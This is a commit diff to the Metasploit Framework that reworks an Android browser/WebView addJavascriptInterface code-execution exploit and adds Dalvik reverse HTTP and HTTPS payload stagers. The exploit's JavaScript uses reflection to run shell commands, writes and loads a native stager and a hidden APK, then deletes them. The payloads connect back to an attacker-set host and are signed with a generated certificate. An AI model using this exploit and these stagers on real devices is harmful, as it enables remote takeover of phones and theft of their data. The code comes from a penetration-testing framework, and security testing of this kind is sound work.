commit
d0d389598a
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -20,6 +20,7 @@ arch_armle = "armle";
|
|||
arch_x86 = "x86";
|
||||
arch_x86_64 = "x86_64";
|
||||
arch_ppc = "ppc";
|
||||
arch_mipsle = "mipsle";
|
||||
|
||||
window.os_detect = {};
|
||||
|
||||
|
@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){
|
|||
} else if (platform.match(/arm/)) {
|
||||
// Android and maemo
|
||||
arch = arch_armle;
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
} else if (platform.match(/x86/)) {
|
||||
arch = arch_x86;
|
||||
} else if (platform.match(/mips/)) {
|
||||
arch = arch_mipsle;
|
||||
}
|
||||
|
||||
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
} else if (platform.match(/windows/)) {
|
||||
os_name = oses_windows;
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -31,5 +31,36 @@ module Msf::Payload::Dalvik
|
|||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
||||
def generate_cert
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(1024)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = x509_name
|
||||
cert.issuer = x509_name
|
||||
cert.public_key = key.public_key
|
||||
|
||||
# Some time within the last 3 years
|
||||
cert.not_before = Time.now - rand(3600*24*365*3)
|
||||
|
||||
# From http://developer.android.com/tools/publishing/app-signing.html
|
||||
# """
|
||||
# A validity period of more than 25 years is recommended.
|
||||
#
|
||||
# If you plan to publish your application(s) on Google Play, note
|
||||
# that a validity period ending after 22 October 2033 is a
|
||||
# requirement. You can not upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
return cert, key
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -10,9 +10,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE,
|
||||
# Since the NDK stager is used, arch detection must be performed
|
||||
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
|
||||
|
||||
# Most android devices are ARM
|
||||
DEFAULT_ARCH = ARCH_ARMLE
|
||||
|
||||
# Some of the default NDK build targets are named differently than
|
||||
# msf's builtin constants. This mapping allows the ndkstager file
|
||||
# to be looked up from the msf constant.
|
||||
NDK_FILES = {
|
||||
ARCH_ARMLE => 'armeabi',
|
||||
ARCH_MIPSLE => 'mips'
|
||||
}
|
||||
|
||||
autopwn_info(
|
||||
:os_flavor => 'Android',
|
||||
:javascript => true,
|
||||
:rank => ExcellentRanking,
|
||||
:vuln_test => %Q|
|
||||
|
@ -23,12 +36,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
} catch(e) {}
|
||||
}
|
||||
|
|
||||
})
|
||||
)
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a privilege escalation issue in Android < 4.2's WebView component
|
||||
that arises when untrusted Javascript code is executed by a WebView that has one or more
|
||||
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
|
||||
|
@ -46,75 +59,185 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jduck', # original msf module
|
||||
'joev' # static server
|
||||
],
|
||||
'References' => [
|
||||
'References' => [
|
||||
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
|
||||
['URL', 'http://50.56.33.56/blog/?p=314'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
|
||||
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
|
||||
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
|
||||
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
|
||||
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
|
||||
['EDB', '31519'],
|
||||
['OSVDB', '97520']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'DefaultOptions' => { 'PrependFork' => true },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE
|
||||
:source => 'script',
|
||||
:os_flavor => 'Android'
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
|
||||
# on requests for the static javascript file
|
||||
def on_request_uri(cli, req)
|
||||
if req.uri.end_with?('js')
|
||||
print_status("Serving javascript")
|
||||
send_response(cli, js, 'Content-type' => 'text/javascript')
|
||||
if req.uri =~ /\.js/
|
||||
serve_static_js(cli, req)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# The browser appears to be vulnerable, serve the exploit
|
||||
def on_request_exploit(cli, req, browser)
|
||||
print_status("Serving exploit HTML")
|
||||
send_response_html(cli, html)
|
||||
arch = normalize_arch(browser[:arch])
|
||||
print_status "Serving #{arch} exploit..."
|
||||
send_response_html(cli, html(arch))
|
||||
end
|
||||
|
||||
def js
|
||||
%Q|
|
||||
function exec(obj) {
|
||||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
|
||||
data = File.read(localfile, :mode => 'rb')
|
||||
data.gsub!('PLOAD', stagename)
|
||||
end
|
||||
|
||||
def js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
script = %Q|
|
||||
function exec(runtime, cmdArr) {
|
||||
var ch = 0;
|
||||
var output = '';
|
||||
var process = runtime.exec(cmdArr);
|
||||
var input = process.getInputStream();
|
||||
|
||||
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
|
||||
return output;
|
||||
}
|
||||
|
||||
function attemptExploit(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
|
||||
// get the pid
|
||||
var pid = obj.getClass()
|
||||
.forName('android.os.Process')
|
||||
.getMethod('myPid', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// get the runtime so we can exec
|
||||
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
|
||||
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
|
||||
var runtime = obj.getClass()
|
||||
.forName('java.lang.Runtime')
|
||||
.getMethod('getRuntime', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
// LibraryData is loaded via ajax later, because we have to access javascript in
|
||||
// order to detect what arch we are running.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
// another stager which loads android meterpreter from the msf handler.
|
||||
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
|
||||
var ch, path = '/data/data/';
|
||||
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
|
||||
path += '/#{Rex::Text.rand_text_alpha(8)}';
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
|
||||
// build the binary, chmod it, and execute it
|
||||
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
|
||||
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
|
||||
m.invoke(null, null).exec([path]);
|
||||
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
|
||||
var stagePath = path + '/#{stagename}.apk';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
||||
|
||||
// build the stage, chmod it, and load it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
||||
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
||||
|
||||
// load the library (this fails in x86, figure out why)
|
||||
runtime.load(libraryPath);
|
||||
|
||||
// delete dropped files
|
||||
runtime.exec(['rm', stagePath]).waitFor();
|
||||
runtime.exec(['rm', libraryPath]).waitFor();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
for (i in top) { if (exec(top[i]) === true) break; }
|
||||
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
||||
|
|
||||
|
||||
# remove comments and empty lines
|
||||
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
|
||||
end
|
||||
|
||||
# Called when a client requests a .js route.
|
||||
# This is handy for post-XSS.
|
||||
def serve_static_js(cli, req)
|
||||
arch = req.qstring['arch']
|
||||
response_opts = { 'Content-type' => 'text/javascript' }
|
||||
|
||||
if arch.present?
|
||||
print_status("Serving javascript for arch #{normalize_arch arch}")
|
||||
send_response(cli, js(normalize_arch arch), response_opts)
|
||||
else
|
||||
print_status("Serving arch detection javascript")
|
||||
send_response(cli, static_arch_detect_js, response_opts)
|
||||
end
|
||||
end
|
||||
|
||||
# This is served to requests for the static .js file.
|
||||
# Because we have to use javascript to detect arch, we have 3 different
|
||||
# versions of the static .js file (x86/mips/arm) to choose from. This
|
||||
# small snippet of js detects the arch and requests the correct file.
|
||||
def static_arch_detect_js
|
||||
%Q|
|
||||
var arches = {};
|
||||
arches['#{ARCH_ARMLE}'] = /arm/i;
|
||||
arches['#{ARCH_MIPSLE}'] = /mips/i;
|
||||
arches['#{ARCH_X86}'] = /x86/i;
|
||||
|
||||
var arch = null;
|
||||
for (var name in arches) {
|
||||
if (navigator.platform.toString().match(arches[name])) {
|
||||
arch = name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (arch) {
|
||||
// load the script with the correct arch
|
||||
var script = document.createElement('script');
|
||||
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
|
||||
script.setAttribute('type', 'text/javascript');
|
||||
|
||||
// ensure body is parsed and we won't be in an uninitialized state
|
||||
setTimeout(function(){
|
||||
var node = document.body \|\| document.head;
|
||||
node.appendChild(script);
|
||||
}, 100);
|
||||
}
|
||||
|
|
||||
end
|
||||
|
||||
def html
|
||||
"<!doctype html><html><body><script>#{js}</script></body></html>"
|
||||
# @return [String] normalized client architecture
|
||||
def normalize_arch(arch)
|
||||
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
|
||||
end
|
||||
end
|
||||
|
||||
def html(arch)
|
||||
"<!doctype html><html><body><script>#{js(arch)}</script></body></html>"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'anwarelmakrahy',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
|
||||
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
|
||||
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
cert, key = generate_cert
|
||||
jar.sign(key, cert, [cert])
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => 'anwarelmakrahy',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
|
||||
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
|
||||
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
cert, key = generate_cert
|
||||
jar.sign(key, cert, [cert])
|
||||
|
||||
jar
|
||||
end
|
||||
end
|
|
@ -24,10 +24,11 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder, input)
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
|
@ -35,46 +36,20 @@ module Metasploit3
|
|||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
|
||||
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "res", "drawable-mdpi", "icon.png" ],
|
||||
[ "res", "layout", "main.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(1024)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = x509_name
|
||||
cert.issuer = x509_name
|
||||
cert.public_key = key.public_key
|
||||
|
||||
# Some time within the last 3 years
|
||||
cert.not_before = Time.now - rand(3600*24*365*3)
|
||||
|
||||
# From http://developer.android.com/tools/publishing/app-signing.html
|
||||
# """
|
||||
# A validity period of more than 25 years is recommended.
|
||||
#
|
||||
# If you plan to publish your application(s) on Google Play, note
|
||||
# that a validity period ending after 22 October 2033 is a
|
||||
# requirement. You can not upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
|
||||
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
|
||||
|
||||
cert, key = generate_cert
|
||||
jar.sign(key, cert, [cert])
|
||||
|
||||
jar
|
||||
|
|
Loading…
Reference in New Issue